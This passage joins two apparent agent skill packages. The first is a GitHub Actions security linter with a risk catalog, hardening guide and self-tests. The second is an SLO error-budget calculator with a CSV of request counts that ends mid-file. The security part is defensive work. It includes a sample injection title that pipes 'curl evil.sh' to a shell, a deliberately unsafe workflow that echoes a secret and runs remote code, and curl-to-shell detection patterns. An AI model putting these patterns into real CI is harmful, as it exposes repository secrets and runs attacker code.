composite actions, repository settings). FILE:references/risk-catalog.md # Risk Catalog (rule IDs used by gha_audit.py) | ID | Severity | What it detects | Why it matters | Fix | |---|---|---|---|---| | GHA001 | high | `pull_request_target` (or `workflow_run`) workflow that checks out the PR head (`ref: { github.event.pull_request.head.sha}`, `head.ref`, `github.head_ref`) | Code from a fork runs with repository secrets and a write token ("pwn request") | Use `pull_request` for building untrusted code; keep `pull_request_target` for labeling/commenting only, without checkout of PR code | | GHA002 | high | Untrusted `{}` expression inside `run:` or `github-script` `script:` (issue/PR title or body, comment body, head ref, commit message, author name/email, page name) | The text is pasted into the script before it runs, so a title like `"; curl evil.sh | sh #` executes | Pass it through `env:` and use `"$TITLE"` in the shell | | GHA003 | medium (low for `actions/*`, `github/*`) | `uses: owner/repo@v4` pinned to a tag | Tags can be moved; a compromised action ships code into your build | Pin to the full 40-character commit SHA, keep the tag in a comment, let Dependabot update it | | GHA004 | high | `uses:` with a branch (`@main`, `@master`) or no ref | Every run pulls whatever is on that branch today | Pin to a commit SHA | | GHA005 | medium | No `permissions:` at workflow level and not on every job | The `GITHUB_TOKEN` gets the repository default, often read/write on everything | Add `permissions: contents: read` at the top and grant more per job | | GHA006 | high | `permissions: write-all` | Every scope can be written by any step | List only the scopes needed | | GHA007 | high / medium | `{ secrets.X}` inside a `run:` command (high when echoed or printed) | Secrets end up in shell history, process lists, logs, or injected text | Map the secret to `env:` and read `$X`; never echo it | | GHA008 | medium | `curl ... \| bash` or `wget ... \| sh` | Runs unverified remote code with the job's token and secrets | Download, verify a checksum or signature, then run; or use a pinned action | | GHA009 | medium | `self-hosted` runner in a workflow triggered by `pull_request` or `pull_request_target` | Fork code can persist on the machine and attack later jobs | Use GitHub-hosted or ephemeral runners for PRs; require approval for outside contributors | | GHA010 | high | `ACTIONS_ALLOW_UNSECURE_COMMANDS: true` | Re-enables deprecated `set-env`/`add-path`, which log output can trigger | Remove it; write to `$GITHUB_ENV` and `$GITHUB_PATH` | | GHA011 | low | `actions/checkout` without `persist-credentials: false` | The token stays in `.git/config` for every later step and any uploaded artifact | Add `persist-credentials: false` unless a later step pushes | | GHA012 | low | Job without `timeout-minutes` | A hung or abused job can run for 6 hours on your minutes | Add a realistic timeout (e.g. 15-30) | | GHA013 | low | `docker://image:tag` without `@sha256:` digest | Image tags are mutable | Pin `docker://image@sha256:<digest>` | | GHA014 | medium | `workflow_run` workflow using `actions/download-artifact` | Artifacts from a fork-triggered run are attacker-controlled | Treat artifact contents as data: validate, never execute; avoid extracting into the workspace | ## Severity guide - **high**: an outsider can likely run code with secrets or a write token, or a mutable reference controls the build. - **medium**: hardening gap that makes a compromise easier or bigger. - **low**: good practice; fix when touching the file. FILE:references/hardening-guide.md # Hardening Guide ## 1. Pass untrusted text through env, not expressions ```yaml # unsafe - run: echo "Title: { github.event.pull_request.title}" # safe - env: PR_TITLE: { github.event.pull_request.title} run: echo "Title: $PR_TITLE" ``` Always double-quote the variable. In `actions/github-script`, read `context.payload.pull_request.title` in JavaScript instead of interpolating `{}` into the script. ## 2. Least-privilege token ```yaml permissions: contents: read # workflow default jobs: label: permissions: pull-requests: write # only this job can label ``` Also set the repository default to read-only (Settings > Actions > General > Workflow permissions). ## 3. Pin actions to commit SHAs ```yaml - uses: actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4.3.0 ``` Enable Dependabot for the `github-actions` ecosystem so pins get update PRs with changelogs. Prefer actions from verified publishers and read the source of small third-party actions before adopting them. ## 4. Split privileged and unprivileged work - `pull_request` workflow: builds and tests fork code with no secrets and a read-only token; uploads results as an artifact. - `workflow_run` workflow: runs after it with secrets, downloads the artifact, treats it as untrusted data (parse JSON, never execute), and posts the comment or label. ## 5. Checkout and credentials - `persist-credentials: false` on `actions/checkout` unless the job pushes. - Never check out PR code in `pull_request_target`; if you must (e.g. a labeler reading config), check out the base branch only. ## 6. Runners and limits - Self-hosted runners: private repositories only, or ephemeral (one job per VM) with no network access to internal systems. - `timeout-minutes` on every job; `concurrency` groups for deploys. ## 7. Secrets and environments - Put deploy credentials in an environment with required reviewers and branch rules. - Prefer OIDC (`id-token: write`) to long-lived cloud keys. - Mask derived values with `::add-mask::` before printing anything secret-like. ## Review checklist 1. Which triggers can outsiders fire? 2. What can the token write, and which secrets are reachable from those triggers? 3. Is any attacker-controlled text interpolated into a script? 4. Is every `uses:` pinned to a SHA? 5. Is any remote code executed without verification? FILE:templates/workflow-security-review.md # GitHub Actions Security Review - <repository> **Date:** <YYYY-MM-DD> **Reviewer:** <name> **Files:** <.github/workflows/...> **Repo visibility:** <public/private> **Fork PRs allowed:** <yes/no> **Self-hosted runners:** <yes/no> **Linter:** `gha_audit.py` -> <n> high, <n> medium, <n> low ## High findings | Rule | File:line | Problem | Attack scenario | Fix | |---|---|---|---|---| | | | | | | ## Medium and low findings | Rule | File:line | Problem | Fix | |---|---|---|---| | | | | | ## Dismissed findings - <rule, file:line> - <reason it is not exploitable here> ## Proposed patch ```diff <minimal diff> ``` ## Not covered by this review - Reusable workflows and composite actions called from these files - Repository and organization settings (default token permissions, fork PR approval, environments) ## Follow-ups - [ ] Enable Dependabot for github-actions - [ ] Set default workflow permissions to read-only - [ ] Require reviewers on the production environment FILE:examples/pr-labeler.yml # Deliberately unsafe example for gha_audit.py. Expected findings (line numbers in this file): # GHA001 high line 21 - pull_request_target checks out the PR head # GHA002 high line 24 - PR title pasted into run (script injection) # GHA007 high line 25 - secret echoed in run # GHA004 high line 27 - third-party action on @main # GHA005 medium line 1 - no permissions block at workflow or job level # GHA008 medium line 26 - curl piped to bash # GHA012 low line 16 - job without timeout-minutes # GHA003 low line 19 - actions/checkout@v4 pinned to a tag # GHA011 low line 19 - checkout without persist-credentials: false name: PR labeler on: pull_request_target: types: [opened, synchronize] jobs: label: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 with: ref: { github.event.pull_request.head.sha} - name: Greet run: | echo "Thanks for: { github.event.pull_request.title}" echo "token={ secrets.LABEL_TOKEN}" curl -sSL https://example.com/install.sh | bash - uses: someorg/auto-labeler@main FILE:scripts/gha_audit.py #!/usr/bin/env python3 """GitHub Actions workflow security linter (Python 3 standard library only, no YAML library). Reads workflow files line by line, tracking indentation, and reports risky patterns with rule IDs (see references/risk-catalog.md): GHA001 pull_request_target/workflow_run + checkout of PR head high GHA002 untrusted { github.event.*} text inside run:/script: high GHA003 uses: pinned to a tag instead of a commit SHA medium (low for actions/*, github/*) GHA004 uses: on a branch (@main/@master) or without a ref high GHA005 no permissions at workflow level or on every job medium GHA006 permissions: write-all high GHA007 { secrets.*} inside run: (high when echoed/printed) high/medium GHA008 curl/wget piped to a shell medium GHA009 self-hosted runner on pull_request(_target) medium GHA010 ACTIONS_ALLOW_UNSECURE_COMMANDS enabled high GHA011 actions/checkout without persist-credentials: false low GHA012 job without timeout-minutes low GHA013 docker:// image without @sha256 digest low GHA014 workflow_run + actions/download-artifact medium Usage: python3 gha_audit.py .github/workflows/*.yml python3 gha_audit.py ci.yml --json python3 gha_audit.py ci.yml --strict # exit 1 on any finding python3 gha_audit.py --self-test Exit code: 0 no high findings, 1 high findings (or any with --strict), 2 unreadable file. """ import argparse import json import re import sys SEV_ORDER = {"high": 0, "medium": 1, "low": 2} TRUSTED_OWNERS = {"actions", "github"} BRANCH_REFS = {"main", "master", "dev", "develop", "trunk", "head", "latest"} UNTRUSTED_EXPR = re.compile( r"github\.head_ref" r"|github\.event\.[\w.*\[\]'\"-]*?\b(title|body|message|page_name|email|head_branch|default_branch|label)\b" r"|github\.event\.[\w.*\[\]'\"-]*?head\.ref\b" r"|github\.event\.[\w.*\[\]'\"-]*?author\.name\b" ) EXPR = re.compile(r"\$\{\{(.*?)\}\}") SECRET_EXPR = re.compile(r"\$\{\{\s*secrets\.([A-Za-z0-9_]+)\s*\}\}") PR_HEAD_REF = re.compile(r"ref:\s*['\"]?\$\{\{\s*(github\.event\.pull_request\.head\.(sha|ref)|github\.head_ref|github\.event\.workflow_run\.head_(sha|branch))\s*\}\}") PIPE_SHELL = re.compile(r"\b(curl|wget)\b[^|\n]*\|\s*(sudo\s+)?(-E\s+)?(ba|z|da)?sh\b") PRINT_CMD = re.compile(r"\b(echo|printf|cat|tee|print)\b") SHA40 = re.compile(r"^[0-9a-f]{40}$") def strip_comment(line): """Remove a trailing YAML comment (a # preceded by whitespace, outside quotes).""" out, q = [], None for i, ch in enumerate(line): if q: if ch == q: q = None elif ch in "'\"": q = ch elif ch == "#" and (i == 0 or line[i - 1] in " \t"): break out.append(ch) return "".join(out).rstrip() def indent_of(s): return len(s) - len(s.lstrip(" ")) def parse_lines(text): """Return a list of (lineno, indent, content) for non-empty, non-comment lines.""" rows = [] for n, raw in enumerate(text.splitlines(), 1): s = strip_comment(raw.replace("\t", " ")) if s.strip(): rows.append((n, indent_of(s), s.strip())) return rows def block_end(rows, i): """Index after the block owned by rows[i] (all following rows indented deeper).""" ind = rows[i][1] j = i + 1 while j < len(rows) and rows[j][1] > ind: j += 1 return j def key_of(content): c = content[2:].lstrip() if content.startswith("- ") else content m = re.match(r"^['\"]?([A-Za-z0-9_\-]+)['\"]?\s*:(\s|$)", c) return (m.group(1), c[m.end():].strip()) if m else (None, None) def triggers(rows): trig = set() for i, (n, ind, c) in enumerate(rows): k, v = key_of(c) if ind == 0 and k in ("on", "true"): if v: trig.update(re.findall(r"[a-z_]+", v)) else: end = block_end(rows, i) child = min((rows[j][1] for j in range(i + 1, end)), default=None) for j in range(i + 1, end): if rows[j][1] == child: ck, _ = key_of(rows[j][2]) if ck: trig.add(ck) elif rows[j][2].startswith("- "): trig.add(rows[j][2][2:].strip()) return trig def audit_text(text, path="workflow.yml"): rows = parse_lines(text) findings = [] def add(rule, sev, line, msg): findings.append({"file": path, "line": line, "rule": rule, "severity": sev, "message": msg}) trig = triggers(rows) privileged = trig & {"pull_request_target", "workflow_run"} pr_triggers = trig & {"pull_request", "pull_request_target"} top_perm = None jobs_idx = None for i, (n, ind, c) in enumerate(rows): k, v = key_of(c) if ind == 0 and k == "permissions": top_perm = (n, v) if ind == 0 and k == "jobs": jobs_idx = i if top_perm and top_perm[1].strip("'\"") == "write-all": add("GHA006", "high", top_perm[0], "permissions: write-all gives every step write access to all scopes") # jobs jobs = [] if jobs_idx is not None: end = block_end(rows, jobs_idx) child = min((rows[j][1] for j in range(jobs_idx + 1, end)), default=None) for j in range(jobs_idx + 1, end): if rows[j][1] == child and key_of(rows[j][2])[0]: jobs.append((j, block_end(rows, j))) jobs_with_perm = 0 for (js, je) in jobs: jname = key_of(rows[js][2])[0] jind = rows[js][1] direct = [r for r in rows[js + 1:je] if r[1] == min(x[1] for x in rows[js + 1:je])] if je > js + 1 else [] dkeys = {key_of(r[2])[0]: r for r in direct} if "permissions" in dkeys: jobs_with_perm += 1 if dkeys["permissions"][2].split(":", 1)[1].strip().strip("'\"") == "write-all": add("GHA006", "high", dkeys["permissions"][0], f"job '{jname}' uses permissions: write-all") if "timeout-minutes" not in dkeys and "uses" not in dkeys: add("GHA012", "low", rows[js][0], f"job '{jname}' has no timeout-minutes (default is 360)") if "runs-on" in dkeys: ro_i = rows.index(dkeys["runs-on"]) ro_text = " ".join(r[2] for r in rows[ro_i:block_end(rows, ro_i)]) if "self-hosted" in ro_text and pr_triggers: add("GHA009", "medium", dkeys["runs-on"][0], f"job '{jname}' runs pull request code on a self-hosted runner") if top_perm is None and (not jobs or jobs_with_perm < len(jobs)): add("GHA005", "medium", 1, "no permissions block at workflow level (and not on every job); GITHUB_TOKEN gets the repo default") # line-level checks i = 0 while i < len(rows): n, ind, c = rows[i] k, v = key_of(c) if k in ("run", "script"): end = block_end(rows, i) body = [(n, v)] if v and v not in ("|", ">", "|-", ">-", "|+", ">+") else [] body += [(r[0], r[2]) for r in rows[i + 1:end]] for bn, bt in body: for m in EXPR.finditer(bt): expr = m.group(1).strip() if UNTRUSTED_EXPR.search(expr): add("GHA002", "high", bn, f"untrusted expression {{{ {expr }}}} is pasted into {k}: (script injection); pass it via env") for m in SECRET_EXPR.finditer(bt): if PRINT_CMD.search(bt): add("GHA007", "high", bn, f"secret {m.group(1)} is printed in {k}:") else: add("GHA007", "medium", bn, f"secret {m.group(1)} is interpolated into {k}:; map it to env instead") if k == "run" and PIPE_SHELL.search(bt): add("GHA008", "medium", bn, "remote script piped straight into a shell") i = end continue if k == "uses": ref = v.strip("'\"") if ref.startswith("./"): pass elif ref.startswith("docker://"): if "@sha256:" not in ref: add("GHA013", "low", n, f"{ref} is not pinned to an image digest") else: name, _, at = ref.partition("@") owner = name.split("/")[0].lower() if not at or at.lower() in BRANCH_REFS: add("GHA004", "high", n, f"{ref or name} follows a branch or has no ref; pin to a commit SHA") elif not SHA40.match(at): sev = "low" if owner in TRUSTED_OWNERS else "medium" add("GHA003", sev, n, f"{ref} is pinned to a tag, not a full commit SHA") if name.lower().startswith("actions/checkout"): # the step block: siblings at this indent (after '- ') and deeper step_ind = ind + 2 if c.startswith("- ") else ind j = i + 1 j0 = i while j0 > 0 and not rows[j0][2].startswith("- ") and rows[j0][1] >= step_ind: j0 -= 1 while j < len(rows) and rows[j][1] >= step_ind and not (rows[j][1] == step_ind - 2 and rows[j][2].startswith("- ")): j += 1 step = " ".join(r[2] for r in rows[j0:j]) if not re.search(r"persist-credentials:\s*['\"]?false", step): add("GHA011", "low", n, "actions/checkout keeps the token in .git/config; add persist-credentials: false") if name.lower().startswith("actions/download-artifact") and "workflow_run" in trig: add("GHA014", "medium", n, "artifact from a workflow_run may be attacker-controlled; treat as data") if privileged and PR_HEAD_REF.search(c): add("GHA001", "high", n, f"{'/'.join(sorted(privileged))} workflow checks out untrusted PR code with secrets available") if re.search(r"ACTIONS_ALLOW_UNSECURE_COMMANDS\s*:\s*['\"]?true", c, re.I): add("GHA010", "high", n, "ACTIONS_ALLOW_UNSECURE_COMMANDS re-enables set-env/add-path") i += 1 findings.sort(key=lambda f: (f["file"], SEV_ORDER[f["severity"]], f["line"], f["rule"])) return {"file": path, "triggers": sorted(trig), "jobs": len(jobs), "findings": findings} def to_markdown(results): out = ["# GitHub Actions security audit", ""] tot = {"high": 0, "medium": 0, "low": 0} for r in results: for f in r["findings"]: tot[f["severity"]] += 1 out.append(f"**Files:** {len(results)} **Findings:** {tot['high']} high, {tot['medium']} medium, {tot['low']} low") for r in results: out += ["", f"## {r['file']}", f"Triggers: {', '.join(r['triggers']) or 'none found'}; jobs: {r['jobs']}", ""] if not r["findings"]: out.append("No findings.") continue out += ["| Severity | Rule | Line | Finding |", "|---|---|---|---|"] for f in r["findings"]: msg = f["message"].replace("|", "\\|") out.append(f"| {f['severity']} | {f['rule']} | {f['line']} | {msg} |") return "\n".join(out) SAFE = """name: CI on: pull_request: permissions: contents: read jobs: test: runs-on: ubuntu-latest timeout-minutes: 15 steps: - uses: actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4.3.0 with: persist-credentials: false - name: Test env: PR_TITLE: { github.event.pull_request.title} run: | echo "Testing $PR_TITLE" make test """ def self_test(): cases = [] def ok(name, cond): cases.append((name, bool(cond))) def rules(text): return [(f["rule"], f["severity"]) for f in audit_text(text)["findings"]] ok("safe workflow has no findings", rules(SAFE) == []) ok("triggers parsed from block", audit_text(SAFE)["triggers"] == ["pull_request"]) ok("triggers parsed from list", audit_text("on: [push, pull_request]\njobs: {}\n")["triggers"] == ["pull_request", "push"]) inj = SAFE.replace('echo "Testing $PR_TITLE"', 'echo "{ github.event.pull_request.title}"') ok("title in run is GHA002 high", ("GHA002", "high") in rules(inj)) ok("head_ref in run is GHA002", ("GHA002", "high") in rules(SAFE.replace("make test", "git push origin { github.head_ref}"))) ok("comment body in github-script", ("GHA002", "high") in rules(SAFE.replace("run: |", "script: |") .replace("make test", "core.info('{ github.event.comment.body}')"))) ok("env indirection is not flagged", not any(r == "GHA002" for r, _ in rules(SAFE))) ok("PR number is safe", rules(SAFE.replace("make test", "echo { github.event.pull_request.number}")) == []) ok("tag pin on actions/* is GHA003 low", ("GHA003", "low") in rules(SAFE.replace("@08eba0b27e820071cde6df949e0beb9ba4906955", "@v4"))) ok("tag pin third party is medium", ("GHA003", "medium") in rules(SAFE.replace("actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955", "acme/checkout@v1"))) ok("branch pin is GHA004 high", ("GHA004", "high") in rules(SAFE.replace("@08eba0b27e820071cde6df949e0beb9ba4906955", "@main"))) ok("local action not flagged", rules(SAFE.replace("actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955", "./.github/actions/setup")) == []) ok("missing permissions is GHA005", ("GHA005", "medium") in rules(SAFE.replace("permissions:\n contents: read\n", ""))) ok("job-level permissions satisfy GHA005", rules(SAFE.replace("permissions:\n contents: read\n", "").replace(" timeout-minutes: 15\n", " timeout-minutes: 15\n permissions:\n contents: read\n")) == []) ok("write-all is GHA006", ("GHA006", "high") in rules(SAFE.replace("permissions:\n contents: read", "permissions: write-all"))) ok("echoed secret is GHA007 high", ("GHA007", "high") in rules(SAFE.replace("make test", "echo { secrets.NPM_TOKEN}"))) ok("inline secret is GHA007 medium", ("GHA007", "medium") in rules(SAFE.replace("make test", "npm publish --token { secrets.NPM_TOKEN}"))) ok("curl | bash is GHA008", ("GHA008", "medium") in rules(SAFE.replace("make test", "curl -fsSL https://x.sh | sudo bash"))) ok("self-hosted on PR is GHA009", ("GHA009", "medium") in rules(SAFE.replace("ubuntu-latest", "[self-hosted, linux]"))) ok("self-hosted on push is fine", rules(SAFE.replace("pull_request:", "push:").replace("ubuntu-latest", "self-hosted")) == []) ok("unsecure commands is GHA010", ("GHA010", "high") in rules(SAFE.replace("PR_TITLE: { github.event.pull_request.title}", "ACTIONS_ALLOW_UNSECURE_COMMANDS: true"))) ok("checkout without persist-credentials is GHA011", ("GHA011", "low") in rules(SAFE.replace(" with:\n persist-credentials: false\n", ""))) ok("missing timeout is GHA012", ("GHA012", "low") in rules(SAFE.replace(" timeout-minutes: 15\n", ""))) ok("docker tag is GHA013", ("GHA013", "low") in rules(SAFE.replace("actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4.3.0", "docker://alpine:3.20"))) prt = SAFE.replace("pull_request:", "pull_request_target:").replace("persist-credentials: false", "persist-credentials: false\n ref: { github.event.pull_request.head.sha}") ok("pull_request_target + head checkout is GHA001", ("GHA001", "high") in rules(prt)) ok("pull_request + head checkout is not GHA001", not any(r == "GHA001" for r, _ in rules(SAFE.replace("persist-credentials: false", "persist-credentials: false\n ref: { github.event.pull_request.head.sha}")))) wr = SAFE.replace("pull_request:", "workflow_run:\n workflows: [CI]").replace(" - name: Test", " - uses: actions/download-artifact@634f93cb2916e3fdff6788551b99b062d0335ce0 # v5\n - name: Test") ok("workflow_run + download-artifact is GHA014", ("GHA014", "medium") in rules(wr)) ok("comment with # in string kept", strip_comment('run: echo "a # b" # note') == 'run: echo "a # b"') md = to_markdown([audit_text(inj, "ci.yml")]) ok("markdown lists file and rule", "## ci.yml" in md and "GHA002" in md) passed = sum(c for _, c in cases) for name, c in cases: print(("PASS " if c else "FAIL ") + name) print(f"{passed}/{len(cases)} passed") return 0 if passed == len(cases) else 1 def main(argv=None): ap = argparse.ArgumentParser(description="Lint GitHub Actions workflow files for security risks.") ap.add_argument("files", nargs="*", help="workflow .yml files ('-' for stdin)") ap.add_argument("--json", action="store_true") ap.add_argument("--strict", action="store_true", help="exit 1 on any finding") ap.add_argument("--self-test", action="store_true") a = ap.parse_args(argv) if a.self_test: return self_test() if not a.files: ap.error("at least one workflow file required (or --self-test)") results = [] for p in a.files: try: text = sys.stdin.read() if p == "-" else open(p, encoding="utf-8").read() except OSError as e: print(f"error: {e}", file=sys.stderr) return 2 results.append(audit_text(text, p)) print(json.dumps(results, indent=2) if a.json else to_markdown(results)) allf = [f for r in results for f in r["findings"]] if any(f["severity"] == "high" for f in allf) or (a.strict and allf): return 1 return 0 if __name__ == "__main__": sys.exit(main())
计算 SLO 错误预算与燃烧率，帮助决定是否冻结发布。
---
name: slo-error-budget-burn-rate-calculator
description: 计算 SLO 错误预算与燃烧率，帮助决定是否冻结发布。
---
# SLO 错误预算与燃烧率计算器
你是「SLO 错误预算与燃烧率计算器」技能助手。上方 description 为中文任务说明。下方保留原技能完整正文（含脚本、公式、JSON 键与代码）；执行时遵循中文说明与原文技术细节。
# SLO Error Budget and Burn Rate Calculator
You help engineers and on-call teams reason about reliability with numbers instead of gut feeling. You turn good/total request counts into an SLI, translate the SLO into an error budget, show how fast the budget is burning in several windows, say which alerts would page or open a ticket, and estimate when the budget runs out at the current pace. You explain every number in plain language so product owners can follow the decision.
## Files in this skill
- `scripts/slo_budget.py` - reads a CSV of request counts per interval and prints SLI, budget consumed and remaining, burn rates, alert states, exhaustion times and the worst interval; `--allowance` prints allowed downtime and alert thresholds for any SLO (Python 3 standard library only)
- `references/slo-math.md` - formulas for SLI, error budget, burn rate, projected consumption, and worked numbers for common targets
- `references/burn-rate-alerting.md` - the multiwindow, multi-burn-rate alert policy, how thresholds scale with the window, and tuning advice
- `templates/slo-status-report.md` - a weekly SLO status or incident budget summary
- `examples/checkout-api-requests.csv` - two days of 15-minute request counts for a checkout API with a small blip and a 2-hour incident at the end
## Workflow
### 1. Define the SLI and SLO
Ask what a "good" event is (status < 500, latency under 300 ms, successful job run), where the counts come from, the target (99%, 99.5%, 99.9%, 99.95%), and the window (rolling 28 or 30 days). Push back on targets the system has never met: show the historical SLI first.
### 2. Get the data
Export good and total (or bad and total) counts per interval, for example 1-minute, 5-minute or 15-minute buckets, as CSV with `timestamp,total,good`. The timestamp marks the start of each interval. Use UTC.
### 3. Run the calculator
```
python3 scripts/slo_budget.py examples/checkout-api-requests.csv --slo 99.9 --window 30d
python3 scripts/slo_budget.py requests.csv --slo 99.5 --window 28d --json > slo.json
python3 scripts/slo_budget.py requests.csv --now 2026-10-19T22:00:00Z
python3 scripts/slo_budget.py --allowance --slo 99.95 --window 30d
python3 scripts/slo_budget.py --self-test
```
Exit code 1 means a page alert is firing or the budget is exhausted; 2 means bad input (missing columns, bad > total, unparseable timestamps).
### 4. Interpret
- Burn rate 1.0 spends exactly the budget over the window; 14.4 for an hour spends 2% of a 30-day budget.
- Budget consumed is projected against the traffic seen so far; with less than a full window of data, say so.
- An alert fires only when both its long and short window exceed the threshold; the short window makes it stop quickly after recovery. See `references/burn-rate-alerting.md`.
- Windows shorter than the data step are rounded up to one step; windows longer than the data are "not evaluable".
### 5. Recommend and report
Tie the numbers to a decision: page now, open a ticket, slow down risky releases while remaining budget is low, or loosen an SLO that is always violated by design. Fill `templates/slo-status-report.md`.
## Example result
For `examples/checkout-api-requests.csv` at 99.9% over 30d: SLI 99.8768%, 8.2% of the budget consumed, 1h burn 26.46 and 5m burn 28.06 so the fast page fires, 6h burn 5.83 just under 6.0, the 3d ticket is not evaluable with two days of data, and at the last hour's pace the budget is gone in about 1d 16h. Exit code 1.
## Rules
- State the SLO, window, data range and any missing intervals with every result.
- Do not mix good-event definitions in one SLI; compute separate SLOs for availability and latency.
- An SLO is a decision tool, not a blame tool: describe impact on users, not on people.
- Do not invent traffic numbers; if counts are missing, ask for them or say which result cannot be computed.
FILE:references/slo-math.md
# SLO Math
## Definitions
- **SLI** (service level indicator) = good events / total events, as a percentage.
- **SLO** (objective) = target SLI over a window, e.g. 99.9% of requests succeed over a rolling 30 days.
- **Error budget** = 1 - SLO = the share of events allowed to fail. 99.9% -> 0.1%.
- **Budget in events** = (1 - SLO) x total events in the window.
- **Error rate** over a window = bad / total in that window.
- **Burn rate** = error rate / (1 - SLO). 1.0 means the budget would be exactly used up at the end of the window.
## Projected consumption with partial data
With D seconds of data and W seconds of SLO window:
- expected requests in window = (requests in data / D) x W
- allowed bad = (1 - SLO) x expected requests
- consumed = bad in data / allowed bad
- time to exhaustion at a recent rate = (allowed bad - bad so far) / (bad per second in that recent window)
## Allowed full downtime
| SLO | per 30 days | per 28 days | per week | per day |
|---|---|---|---|---|
| 99% | 7h 12m | 6h 43m 12s | 1h 40m 48s | 14m 24s |
| 99.5% | 3h 36m | 3h 21m 36s | 50m 24s | 7m 12s |
| 99.9% | 43m 12s | 40m 19s | 10m 5s | 1m 26s |
| 99.95% | 21m 36s | 20m 10s | 5m 2s | 43s |
| 99.99% | 4m 19s | 4m 2s | 1m 0s | 9s |
Request-based SLOs do not care about clock time directly: 10 minutes of 50% errors costs the same as 5 minutes of full downtime at equal traffic, and an outage at 3 a.m. costs less budget than one at peak.
## Worked example
SLO 99.9%, 30d window, 1,000,000 requests per day.
- Budget: 0.001 x 30,000,000 = 30,000 failed requests.
- A 2% error rate for one hour at 41,667 req/h burns 833 failures = 2.8% of the budget, burn rate 20.
- At burn rate 20 the whole budget lasts 30d / 20 = 36 hours.
## Pitfalls
- Counting retries as separate good events hides user-facing failures.
- Very low traffic (night, new region) makes error rates noisy; use a minimum request count or a longer short window.
- Synthetic probes measure the probe, not users; label them separately.
- Changing the SLO mid-window: recompute the whole window with the new target and say so.
FILE:references/burn-rate-alerting.md
# Burn-Rate Alerting
## Default policy (multiwindow, multi-burn-rate)
| Severity | Budget share | Long window | Short window | Burn threshold (30d) | Burn threshold (28d) |
|---|---|---|---|---|---|
| page | 2% | 1h | 5m | 14.4 | 13.44 |
| page | 5% | 6h | 30m | 6.0 | 5.6 |
| ticket | 10% | 1d | 2h | 3.0 | 2.8 |
| ticket | 10% | 3d | 6h | 1.0 | 0.93 |
Threshold = budget share x SLO window / long window. Example: 0.02 x 720h / 1h = 14.4.
## Why two windows
- The **long window** proves the problem is significant (enough budget spent).
- The **short window** (about 1/12 of the long one) proves it is still happening, so the alert resets within minutes after recovery instead of staying red for an hour.
- Fire only when both exceed the threshold.
## Example alert rule (Prometheus style)
```
(
sum(rate(http_requests_errors_total[1h])) / sum(rate(http_requests_total[1h])) > (14.4 * 0.001)
and
sum(rate(http_requests_errors_total[5m])) / sum(rate(http_requests_total[5m])) > (14.4 * 0.001)
)
```
## Tuning
- Low-traffic services: require a minimum number of requests in the short window, or page on 6h only.
- Too many pages: check whether the SLO is stricter than users need before raising thresholds.
- Missed incidents: slow burns below 1.0 never alert by design; review the budget weekly.
- Data step coarser than the short window (e.g. 15-minute buckets): the short window becomes one bucket and recovery detection is slower.
## Budget policy ideas
- Over 50% consumed: review risky changes, prefer canaries.
- Over 75%: release freeze for non-fixes, reliability work first.
- Exhausted: postmortem required; freeze until the rolling window recovers.
FILE:templates/slo-status-report.md
# SLO Status - <service> - <period or incident>
**SLI:** <what counts as good> **SLO:** <target>% over rolling <28d/30d>
**Data:** <start> to <end> UTC, step <interval>, <n> missing intervals
**Calculator:** `slo_budget.py --slo <target> --window <window>` (exit <code>)
## Budget
| Metric | Value |
|---|---|
| SLI in period | |
| Budget consumed | |
| Budget remaining | |
| Allowed full downtime per window | |
## Burn rates
| 5m | 30m | 1h | 2h | 6h | 1d | 3d |
|---|---|---|---|---|---|---|
| | | | | | | |
## Alerts
| Policy | Status | Long / short burn |
|---|---|---|
| page 1h/5m | | |
| page 6h/30m | | |
| ticket 1d/2h | | |
| ticket 3d/6h | | |
## What happened
<worst interval, user impact, cause if known>
## Decision
- [ ] Page / incident open
- [ ] Release policy: <normal / caution / freeze> because <remaining budget>
- [ ] SLO or alert tuning: <change and reason>
## Summary for stakeholders
> <service> met <SLI>% against a <target>% target. <x>% of this window's error budget is used; at the current pace it lasts <time>. Next step: <decision>.
FILE:examples/checkout-api-requests.csv
timestamp,total,good
2026-10-18T00:00:00Z,4757,4755
2026-10-18T00:15:00Z,4525,4523
2026-10-18T00:30:00Z,4313,4311
2026-10-18T00:45:00Z,4122,4120
2026-10-18T01:00:00Z,3951,3949
2026-10-18T01:15:00Z,3803,3801
2026-10-18T01:30:00Z,3678,3676
2026-10-18T01:45:00Z,3577,3576
2026-10-18T02:00:00Z,3500,3498
2026-10-18T02:15:00Z,3448,3446
2026-10-18T02:30:00Z,3421,3419
2026-10-18T02:45:00Z,3019,3018
2026-10-18T03:00:00Z,3044,3043
2026-10-18T03:15:00Z,3093,3092
2026-10-18T03:30:00Z,3169,3168
2026-10-18T03:45:00Z,3270,3268
2026-10-18T04:00:00Z,3396,3394
2026-10-18T04:15:00Z,3547,3545
2026-10-18T04:30:00Z,3722,3720
2026-10-18T04:45:00Z,3921,3919
2026-10-18T05:00:00Z,4143,4141
2026-10-18T05:15:00Z,4388,4386
2026-10-18T05:30:00Z,4253,4251
2026-10-18T05:45:00Z,4539,4537
2026-10-18T06:00:00Z,4845,4843
2026-10-18T06:15:00Z,5168,5166
2026-10-18T06:30:00Z,5509,5507
2026-10-18T06:45:00Z,5865,5863
2026-10-18T07:00:00Z,6236,6234
2026-10-18T07:15:00Z,6619,6616
2026-10-18T07:30:00Z,7013,7009
2026-10-18T07:45:00Z,7418,7414
2026-10-18T08:00:00Z,7831,7827
2026-10-18T08:15:00Z,7850,7847
2026-10-18T08:30:00Z,8274,8271
2026-10-18T08:45:00Z,8702,8699
2026-10-18T09:00:00Z,9132,9127
2026-10-18T09:15:00Z,9561,9556
2026-10-18T09:30:00Z,9989,9984
2026-10-18T09:45:00Z,10413,10408
2026-10-18T10:00:00Z,10832,10827
2026-10-18T10:15:00Z,11245,11240
2026-10-18T10:30:00Z,11650,11645
2026-10-18T10:45:00Z,12044,12038
2026-10-18T11:00:00Z,12028,12022
2026-10-18T11:15:00Z,12398,12392
2026-10-18T11:30:00Z,12754,12748
2026-10-18T11:45:00Z,13095,13089
2026-10-18T12:00:00Z,13418,13412
2026-10-18T12:15:00Z,13724,13719
2026-10-18T12:30:00Z,14010,14003
2026-10-18T12:45:00Z,14275,14268
2026-10-18T13:00:00Z,14520,14513
